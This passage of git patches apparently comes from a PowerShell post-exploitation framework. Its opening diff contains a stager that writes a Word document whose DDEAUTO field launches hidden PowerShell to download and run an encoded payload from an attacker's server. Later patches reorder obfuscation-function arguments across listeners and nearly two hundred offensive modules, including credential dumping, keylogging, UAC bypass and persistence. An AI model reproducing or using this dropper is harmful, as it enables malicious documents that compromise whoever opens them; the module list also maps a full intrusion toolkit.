4\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4 Accent 4\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark Accent 4\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful Accent 4\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful Accent 4\" w:uiPriority=\"52\"/><w:lsdException w:name=\"Grid Table 1 Light Accent 5\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2 Accent 5\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3 Accent 5\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4 Accent 5\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark Accent 5\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful Accent 5\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful Accent 5\" w:uiPriority=\"52\"/><w:lsdException w:name=\"Grid Table 1 Light Accent 6\" w:uiPriority=\"46\"/><w:lsdException w:name=\"Grid Table 2 Accent 6\" w:uiPriority=\"47\"/><w:lsdException w:name=\"Grid Table 3 Accent 6\" w:uiPriority=\"48\"/><w:lsdException w:name=\"Grid Table 4 Accent 6\" w:uiPriority=\"49\"/><w:lsdException w:name=\"Grid Table 5 Dark Accent 6\" w:uiPriority=\"50\"/><w:lsdException w:name=\"Grid Table 6 Colorful Accent 6\" w:uiPriority=\"51\"/><w:lsdException w:name=\"Grid Table 7 Colorful Accent 6\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light Accent 1\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2 Accent 1\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3 Accent 1\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4 Accent 1\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark Accent 1\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful Accent 1\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful Accent 1\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light Accent 2\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2 Accent 2\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3 Accent 2\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4 Accent 2\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark Accent 2\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful Accent 2\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful Accent 2\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light Accent 3\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2 Accent 3\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3 Accent 3\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4 Accent 3\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark Accent 3\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful Accent 3\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful Accent 3\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light Accent 4\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2 Accent 4\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3 Accent 4\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4 Accent 4\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark Accent 4\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful Accent 4\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful Accent 4\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light Accent 5\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2 Accent 5\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3 Accent 5\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4 Accent 5\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark Accent 5\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful Accent 5\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful Accent 5\" w:uiPriority=\"52\"/><w:lsdException w:name=\"List Table 1 Light Accent 6\" w:uiPriority=\"46\"/><w:lsdException w:name=\"List Table 2 Accent 6\" w:uiPriority=\"47\"/><w:lsdException w:name=\"List Table 3 Accent 6\" w:uiPriority=\"48\"/><w:lsdException w:name=\"List Table 4 Accent 6\" w:uiPriority=\"49\"/><w:lsdException w:name=\"List Table 5 Dark Accent 6\" w:uiPriority=\"50\"/><w:lsdException w:name=\"List Table 6 Colorful Accent 6\" w:uiPriority=\"51\"/><w:lsdException w:name=\"List Table 7 Colorful Accent 6\" w:uiPriority=\"52\"/></w:latentStyles><w:style w:type=\"paragraph\" w:default=\"1\" w:styleId=\"Normal\"><w:name w:val=\"Normal\"/><w:qFormat/></w:style><w:style w:type=\"character\" w:default=\"1\" w:styleId=\"DefaultParagraphFont\"><w:name w:val=\"Default Paragraph Font\"/><w:uiPriority w:val=\"1\"/><w:semiHidden/><w:unhideWhenUsed/></w:style><w:style w:type=\"table\" w:default=\"1\" w:styleId=\"TableNormal\"><w:name w:val=\"Normal Table\"/><w:uiPriority w:val=\"99\"/><w:semiHidden/><w:unhideWhenUsed/><w:tblPr><w:tblInd w:w=\"0\" w:type=\"dxa\"/><w:tblCellMar><w:top w:w=\"0\" w:type=\"dxa\"/><w:left w:w=\"108\" w:type=\"dxa\"/><w:bottom w:w=\"0\" w:type=\"dxa\"/><w:right w:w=\"108\" w:type=\"dxa\"/></w:tblCellMar></w:tblPr></w:style><w:style w:type=\"numbering\" w:default=\"1\" w:styleId=\"NoList\"><w:name w:val=\"No List\"/><w:uiPriority w:val=\"99\"/><w:semiHidden/><w:unhideWhenUsed/></w:style></w:styles>"""
 
-				f = open(outdir + "word/styles.xml", 'w')
-				f.write(styles)
+        f = open(outdir + "word/styles.xml", 'w')
+        f.write(styles)
 
-				web_settings = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+        web_settings = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 <w:webSettings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" mc:Ignorable="w14 w15 w16se"><w:optimizeForBrowser/><w:allowPNG/></w:webSettings>"""
 
-				f = open(outdir + "word/webSettings.xml", 'w')
-				f.write(web_settings)
+        f = open(outdir + "word/webSettings.xml", 'w')
+        f.write(web_settings)
 
-			def craft_exploit(outdir, url, pshell):
-				document = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+      def craft_exploit(outdir, url, pshell):
+        document = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 <w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se wp14"><w:body><w:p w:rsidR="00655D12" w:rsidRDefault="0053626A"><w:r><w:fldChar w:fldCharType="begin"/></w:r><w:r><w:instrText>DDEAUTO C:\\\\Windows\\\\System32\\\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('%s/%s');powershell -noP -sta -w 1 -enc $e "</w:instrText></w:r><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/><w:r><w:fldChar w:fldCharType="separate"/></w:r><w:r><w:rPr><w:b/><w:noProof/></w:rPr><w:t>!Unexpected End of Formula</w:t></w:r><w:r><w:fldChar w:fldCharType="end"/></w:r></w:p><w:sectPr w:rsidR="00655D12"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>""" % (url, pshell)
 
-				f = open(outdir + "word/document.xml", 'w')
-				f.write(document)
+        f = open(outdir + "word/document.xml", 'w')
+        f.write(document)
 
-			def craft_ps(outdir, pshell_blob, fname):
-				pshell_blob = pshell_blob.split("powershell -noP -sta -w 1 -enc  ")[1]
-				f = open(outdir + fname, 'w')
-				f.write(pshell_blob)
+      def craft_ps(outdir, pshell_blob, fname):
+        pshell_blob = pshell_blob.split("powershell -noP -sta -w 1 -enc  ")[1]
+        f = open(outdir + fname, 'w')
+        f.write(pshell_blob)
 
-			if output_path[-1] != "/":
-				output_path = output_path + "/"
+      if output_path[-1] != "/":
+        output_path = output_path + "/"
 
-			create_directory_structure(output_path)
-			create_files(output_path)
-			craft_ps(output_path, launcher, ps1)
-			craft_exploit(output_path, host, ps1)
+      create_directory_structure(output_path)
+      create_files(output_path)
+      craft_ps(output_path, launcher, ps1)
+      craft_exploit(output_path, host, ps1)
 
-			# very hacky
-			os.system("cd %s && zip %s%s -r [Content_Types].xml docProps/ _rels word && rm -rf [Content_Types].xml docProps/ _rels/ word/ && cd -" % (output_path, output_path, output_docx))
+      print helpers.color("[+] '%s' and '%s' was created in the '%s' directory" % (output_docx, ps1, output_path))
 
-			print helpers.color("[+] '%s' and '%s' was created in the '%s' directory" % (output_docx, ps1, output_path))
+      return os.system("cd %s && zip %s%s -r [Content_Types].xml docProps/ _rels word && rm -rf [Content_Types].xml docProps/ _rels/ word/ && cd -" % (output_path, output_path, output_docx))
 
-			# very hacky to avoid 'no script returned' message
-			return "import sys"

From fcc6eb02e526973020939e99a8e0034b3b98fa50 Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Fri, 20 Oct 2017 22:07:03 -0400
Subject: [PATCH 26/50] Fix #769

---
 lib/listeners/http.py     | 4 ++--
 lib/listeners/http_com.py | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/lib/listeners/http.py b/lib/listeners/http.py
index ecde4f2..610d0a1 100644
--- a/lib/listeners/http.py
+++ b/lib/listeners/http.py
@@ -494,7 +494,7 @@ class Listener:
                         randomizedStager += line
 
             if obfuscate:
-                randomizedStager = helpers.obfuscate(randomizedStager, obfuscationCommand=obfuscationCommand)
+                randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand)
             # base64 encode the stager and return it
             if encode:
                 return helpers.enc_powershell(randomizedStager)
@@ -585,7 +585,7 @@ class Listener:
             if killDate != "":
                 code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
             if obfuscate:
-                code = helpers.obfuscate(code, obfuscationCommand=obfuscationCommand)
+                code = helpers.obfuscate(self.mainMenu.installPath, code, obfuscationCommand=obfuscationCommand)
             return code
 
         elif language == 'python':
diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py
index 459b2aa..59833de 100644
--- a/lib/listeners/http_com.py
+++ b/lib/listeners/http_com.py
@@ -313,7 +313,7 @@ class Listener:
                         randomizedStager += line
 
             if obfuscate:
-                randomizedStager = helpers.obfuscate(randomizedStager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
+                randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand)
             # base64 encode the stager and return it
             if encode:
                 return helpers.enc_powershell(randomizedStager)
@@ -369,7 +369,7 @@ class Listener:
             if killDate != "":
                 code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
             if obfuscate:
-                code = helpers.obfuscate(code, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
+                code = helpers.obfuscate(self.mainMenu.installPath, code, obfuscationCommand=obfuscationCommand)
             return code
 
         else:

From 2c7d62593b95bed9116443d53ac520d30f9775cd Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Fri, 20 Oct 2017 23:16:19 -0400
Subject: [PATCH 27/50] Updated obfuscate function arguments in all powershell
 modules

---
 .../powershell/code_execution/invoke_dllinjection.py |  2 +-
 .../code_execution/invoke_metasploitpayload.py       |  2 +-
 .../code_execution/invoke_reflectivepeinjection.py   |  2 +-
 .../powershell/code_execution/invoke_shellcode.py    |  2 +-
 .../code_execution/invoke_shellcodemsil.py           |  2 +-
 lib/modules/powershell/collection/ChromeDump.py      |  2 +-
 lib/modules/powershell/collection/FoxDump.py         |  2 +-
 lib/modules/powershell/collection/USBKeylogger.py    |  2 +-
 lib/modules/powershell/collection/WebcamRecorder.py  |  2 +-
 lib/modules/powershell/collection/browser_data.py    |  2 +-
 .../powershell/collection/clipboard_monitor.py       |  2 +-
 lib/modules/powershell/collection/file_finder.py     |  2 +-
 .../powershell/collection/find_interesting_file.py   |  2 +-
 .../powershell/collection/get_indexed_item.py        |  2 +-
 .../collection/get_sql_column_sample_data.py         |  2 +-
 lib/modules/powershell/collection/get_sql_query.py   |  2 +-
 lib/modules/powershell/collection/inveigh.py         |  2 +-
 lib/modules/powershell/collection/keylogger.py       |  2 +-
 lib/modules/powershell/collection/minidump.py        |  2 +-
 lib/modules/powershell/collection/netripper.py       |  2 +-
 lib/modules/powershell/collection/ninjacopy.py       |  2 +-
 lib/modules/powershell/collection/packet_capture.py  |  2 +-
 lib/modules/powershell/collection/prompt.py          |  2 +-
 lib/modules/powershell/collection/screenshot.py      |  2 +-
 .../collection/vaults/add_keepass_config_trigger.py  |  2 +-
 .../collection/vaults/find_keepass_config.py         |  2 +-
 .../collection/vaults/get_keepass_config_trigger.py  |  2 +-
 lib/modules/powershell/collection/vaults/keethief.py |  2 +-
 .../vaults/remove_keepass_config_trigger.py          |  2 +-
 .../powershell/credentials/credential_injection.py   |  2 +-
 .../powershell/credentials/enum_cred_store.py        |  2 +-
 .../powershell/credentials/invoke_kerberoast.py      |  2 +-
 lib/modules/powershell/credentials/mimikatz/cache.py |  2 +-
 lib/modules/powershell/credentials/mimikatz/certs.py |  2 +-
 .../powershell/credentials/mimikatz/command.py       |  2 +-
 .../powershell/credentials/mimikatz/dcsync.py        |  2 +-
 .../credentials/mimikatz/dcsync_hashdump.py          |  2 +-
 .../credentials/mimikatz/extract_tickets.py          |  2 +-
 .../powershell/credentials/mimikatz/golden_ticket.py |  2 +-
 .../credentials/mimikatz/logonpasswords.py           |  2 +-
 .../powershell/credentials/mimikatz/lsadump.py       |  2 +-
 .../powershell/credentials/mimikatz/mimitokens.py    |  2 +-
 lib/modules/powershell/credentials/mimikatz/pth.py   |  2 +-
 lib/modules/powershell/credentials/mimikatz/purge.py |  2 +-
 lib/modules/powershell/credentials/mimikatz/sam.py   |  2 +-
 .../powershell/credentials/mimikatz/silver_ticket.py |  2 +-
 .../powershell/credentials/mimikatz/trust_keys.py    |  2 +-
 lib/modules/powershell/credentials/powerdump.py      |  2 +-
 lib/modules/powershell/credentials/sessiongopher.py  |  2 +-
 lib/modules/powershell/credentials/tokens.py         |  2 +-
 .../powershell/credentials/vault_credential.py       |  2 +-
 lib/modules/powershell/exfiltration/egresscheck.py   |  2 +-
 lib/modules/powershell/exploitation/exploit_jboss.py |  2 +-
 .../powershell/exploitation/exploit_jenkins.py       |  2 +-
 .../powershell/lateral_movement/inveigh_relay.py     |  2 +-
 .../powershell/lateral_movement/invoke_dcom.py       |  2 +-
 .../lateral_movement/invoke_executemsbuild.py        |  2 +-
 .../powershell/lateral_movement/invoke_psexec.py     |  2 +-
 .../powershell/lateral_movement/invoke_psremoting.py |  2 +-
 .../powershell/lateral_movement/invoke_sqloscmd.py   |  2 +-
 .../powershell/lateral_movement/invoke_sshcommand.py |  2 +-
 .../powershell/lateral_movement/invoke_wmi.py        |  2 +-
 .../lateral_movement/invoke_wmi_debugger.py          |  2 +-
 .../lateral_movement/jenkins_script_console.py       |  2 +-
 .../lateral_movement/new_gpo_immediate_task.py       |  2 +-
 lib/modules/powershell/management/disable_rdp.py     |  2 +-
 .../powershell/management/downgrade_account.py       |  2 +-
 .../powershell/management/enable_multi_rdp.py        |  2 +-
 lib/modules/powershell/management/enable_rdp.py      |  2 +-
 lib/modules/powershell/management/get_domain_sid.py  |  2 +-
 lib/modules/powershell/management/honeyhash.py       |  2 +-
 lib/modules/powershell/management/invoke_script.py   |  2 +-
 lib/modules/powershell/management/lock.py            |  2 +-
 lib/modules/powershell/management/logoff.py          |  2 +-
 .../management/mailraider/disable_security.py        |  2 +-
 .../management/mailraider/get_emailitems.py          |  2 +-
 .../management/mailraider/get_subfolders.py          |  2 +-
 .../powershell/management/mailraider/mail_search.py  |  2 +-
 .../powershell/management/mailraider/search_gal.py   |  2 +-
 .../powershell/management/mailraider/send_mail.py    |  2 +-
 .../powershell/management/mailraider/view_email.py   |  2 +-
 lib/modules/powershell/management/psinject.py        |  2 +-
 .../powershell/management/reflective_inject.py       |  2 +-
 lib/modules/powershell/management/restart.py         |  2 +-
 lib/modules/powershell/management/runas.py           |  2 +-
 lib/modules/powershell/management/sid_to_user.py     |  2 +-
 lib/modules/powershell/management/spawn.py           |  2 +-
 lib/modules/powershell/management/spawnas.py         |  2 +-
 lib/modules/powershell/management/switch_listener.py |  2 +-
 lib/modules/powershell/management/timestomp.py       |  2 +-
 lib/modules/powershell/management/user_to_sid.py     |  2 +-
 lib/modules/powershell/management/vnc.py             |  2 +-
 .../powershell/management/wdigest_downgrade.py       |  2 +-
 lib/modules/powershell/management/zipfolder.py       |  2 +-
 .../powershell/persistence/elevated/registry.py      |  2 +-
 .../powershell/persistence/elevated/schtasks.py      |  4 ++--
 lib/modules/powershell/persistence/elevated/wmi.py   |  4 ++--
 .../powershell/persistence/misc/add_netuser.py       |  2 +-
 .../powershell/persistence/misc/add_sid_history.py   |  2 +-
 lib/modules/powershell/persistence/misc/debugger.py  |  4 ++--
 .../persistence/misc/disable_machine_acct_change.py  |  4 ++--
 lib/modules/powershell/persistence/misc/get_ssps.py  |  2 +-
 .../powershell/persistence/misc/install_ssp.py       |  2 +-
 lib/modules/powershell/persistence/misc/memssp.py    |  2 +-
 .../powershell/persistence/misc/skeleton_key.py      |  2 +-
 .../powershell/persistence/powerbreach/deaduser.py   |  4 ++--
 .../powershell/persistence/powerbreach/eventlog.py   |  4 ++--
 .../powershell/persistence/powerbreach/resolver.py   |  4 ++--
 .../powershell/persistence/userland/backdoor_lnk.py  |  2 +-
 .../powershell/persistence/userland/registry.py      |  4 ++--
 .../powershell/persistence/userland/schtasks.py      |  4 ++--
 lib/modules/powershell/privesc/ask.py                |  2 +-
 lib/modules/powershell/privesc/bypassuac.py          |  2 +-
 lib/modules/powershell/privesc/bypassuac_eventvwr.py |  2 +-
 .../privesc/bypassuac_tokenmanipulation.py           |  2 +-
 lib/modules/powershell/privesc/bypassuac_wscript.py  |  2 +-
 lib/modules/powershell/privesc/getsystem.py          |  2 +-
 lib/modules/powershell/privesc/gpp.py                |  2 +-
 lib/modules/powershell/privesc/mcafee_sitelist.py    |  2 +-
 lib/modules/powershell/privesc/ms16-032.py           |  2 +-
 lib/modules/powershell/privesc/ms16-135.py           |  2 +-
 lib/modules/powershell/privesc/powerup/allchecks.py  |  2 +-
 .../powershell/privesc/powerup/find_dllhijack.py     |  2 +-
 .../privesc/powerup/service_exe_restore.py           |  2 +-
 .../powershell/privesc/powerup/service_exe_stager.py |  2 +-
 .../privesc/powerup/service_exe_useradd.py           |  2 +-
 .../powershell/privesc/powerup/service_stager.py     |  2 +-
 .../powershell/privesc/powerup/service_useradd.py    |  2 +-
 .../powershell/privesc/powerup/write_dllhijacker.py  |  2 +-
 lib/modules/powershell/privesc/tater.py              |  2 +-
 lib/modules/powershell/recon/find_fruit.py           |  2 +-
 .../recon/get_sql_server_login_default_pw.py         |  2 +-
 lib/modules/powershell/recon/http_login.py           |  2 +-
 .../situational_awareness/host/antivirusproduct.py   |  2 +-
 .../situational_awareness/host/computerdetails.py    | 12 ++++++------
 .../situational_awareness/host/dnsserver.py          |  2 +-
 .../host/findtrusteddocuments.py                     |  2 +-
 .../situational_awareness/host/get_pathacl.py        |  2 +-
 .../situational_awareness/host/get_proxy.py          |  2 +-
 .../host/monitortcpconnections.py                    |  2 +-
 .../situational_awareness/host/paranoia.py           |  2 +-
 .../powershell/situational_awareness/host/winenum.py |  2 +-
 .../situational_awareness/network/arpscan.py         |  2 +-
 .../situational_awareness/network/bloodhound.py      |  2 +-
 .../network/get_exploitable_system.py                |  2 +-
 .../situational_awareness/network/get_spn.py         |  2 +-
 .../network/get_sql_instance_domain.py               |  2 +-
 .../network/get_sql_server_info.py                   |  2 +-
 .../situational_awareness/network/portscan.py        |  2 +-
 .../network/powerview/find_computer_field.py         |  2 +-
 .../network/powerview/find_foreign_group.py          |  2 +-
 .../network/powerview/find_foreign_user.py           |  2 +-
 .../network/powerview/find_gpo_computer_admin.py     |  2 +-
 .../network/powerview/find_gpo_location.py           |  2 +-
 .../network/powerview/find_localadmin_access.py      |  2 +-
 .../network/powerview/find_managed_security_group.py |  2 +-
 .../network/powerview/find_user_field.py             |  2 +-
 .../network/powerview/get_cached_rdpconnection.py    |  2 +-
 .../network/powerview/get_computer.py                |  2 +-
 .../network/powerview/get_dfs_share.py               |  2 +-
 .../network/powerview/get_domain_controller.py       |  2 +-
 .../network/powerview/get_domain_policy.py           |  2 +-
 .../network/powerview/get_domain_trust.py            |  2 +-
 .../network/powerview/get_fileserver.py              |  2 +-
 .../network/powerview/get_forest.py                  |  2 +-
 .../network/powerview/get_forest_domain.py           |  2 +-
 .../network/powerview/get_gpo.py                     |  2 +-
 .../network/powerview/get_gpo_computer.py            |  2 +-
 .../network/powerview/get_group.py                   |  2 +-
 .../network/powerview/get_group_member.py            |  2 +-
 .../network/powerview/get_localgroup.py              |  2 +-
 .../network/powerview/get_loggedon.py                |  2 +-
 .../network/powerview/get_object_acl.py              |  2 +-
 .../network/powerview/get_ou.py                      |  2 +-
 .../network/powerview/get_rdp_session.py             |  2 +-
 .../network/powerview/get_session.py                 |  2 +-
 .../network/powerview/get_site.py                    |  2 +-
 .../network/powerview/get_subnet.py                  |  2 +-
 .../network/powerview/get_user.py                    |  2 +-
 .../network/powerview/map_domain_trust.py            |  2 +-
 .../network/powerview/process_hunter.py              |  2 +-
 .../network/powerview/set_ad_object.py               |  2 +-
 .../network/powerview/share_finder.py                |  2 +-
 .../network/powerview/user_hunter.py                 |  2 +-
 .../situational_awareness/network/reverse_dns.py     |  2 +-
 .../situational_awareness/network/smbautobrute.py    |  2 +-
 .../situational_awareness/network/smbscanner.py      |  2 +-
 lib/modules/powershell/trollsploit/get_schwifty.py   |  2 +-
 lib/modules/powershell/trollsploit/message.py        |  2 +-
 lib/modules/powershell/trollsploit/process_killer.py |  2 +-
 lib/modules/powershell/trollsploit/rick_ascii.py     |  2 +-
 lib/modules/powershell/trollsploit/rick_astley.py    |  2 +-
 lib/modules/powershell/trollsploit/thunderstruck.py  |  2 +-
 lib/modules/powershell/trollsploit/voicetroll.py     |  2 +-
 lib/modules/powershell/trollsploit/wallpaper.py      |  2 +-
 lib/modules/powershell/trollsploit/wlmdr.py          |  2 +-
 196 files changed, 210 insertions(+), 210 deletions(-)

diff --git a/lib/modules/powershell/code_execution/invoke_dllinjection.py b/lib/modules/powershell/code_execution/invoke_dllinjection.py
index 3f2a94e..682b8d7 100644
--- a/lib/modules/powershell/code_execution/invoke_dllinjection.py
+++ b/lib/modules/powershell/code_execution/invoke_dllinjection.py
@@ -88,6 +88,6 @@ class Module:
                     scriptEnd += " -" + str(option) + " " + str(values['Value'])
 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/code_execution/invoke_metasploitpayload.py b/lib/modules/powershell/code_execution/invoke_metasploitpayload.py
index 38c4c6d..62c83f8 100644
--- a/lib/modules/powershell/code_execution/invoke_metasploitpayload.py
+++ b/lib/modules/powershell/code_execution/invoke_metasploitpayload.py
@@ -72,6 +72,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/code_execution/invoke_reflectivepeinjection.py b/lib/modules/powershell/code_execution/invoke_reflectivepeinjection.py
index 531b1f9..7851ee4 100644
--- a/lib/modules/powershell/code_execution/invoke_reflectivepeinjection.py
+++ b/lib/modules/powershell/code_execution/invoke_reflectivepeinjection.py
@@ -127,6 +127,6 @@ class Module:
                     scriptEnd += " -" + str(option) + " " + str(values['Value'])
 
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/code_execution/invoke_shellcode.py b/lib/modules/powershell/code_execution/invoke_shellcode.py
index 2bf16e6..354c783 100644
--- a/lib/modules/powershell/code_execution/invoke_shellcode.py
+++ b/lib/modules/powershell/code_execution/invoke_shellcode.py
@@ -145,6 +145,6 @@ class Module:
 
         scriptEnd += "; 'Shellcode injected.'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/code_execution/invoke_shellcodemsil.py b/lib/modules/powershell/code_execution/invoke_shellcodemsil.py
index fe0d112..e18b565 100644
--- a/lib/modules/powershell/code_execution/invoke_shellcodemsil.py
+++ b/lib/modules/powershell/code_execution/invoke_shellcodemsil.py
@@ -89,6 +89,6 @@ class Module:
                         sc = ",0".join(values['Value'].split("\\"))[1:]
                         scriptEnd += " -" + str(option) + " @(" + sc + ")"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/ChromeDump.py b/lib/modules/powershell/collection/ChromeDump.py
index 1c3ccd0..dec2c33 100644
--- a/lib/modules/powershell/collection/ChromeDump.py
+++ b/lib/modules/powershell/collection/ChromeDump.py
@@ -103,6 +103,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/collection/FoxDump.py b/lib/modules/powershell/collection/FoxDump.py
index 29ae719..b7fb455 100644
--- a/lib/modules/powershell/collection/FoxDump.py
+++ b/lib/modules/powershell/collection/FoxDump.py
@@ -107,6 +107,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
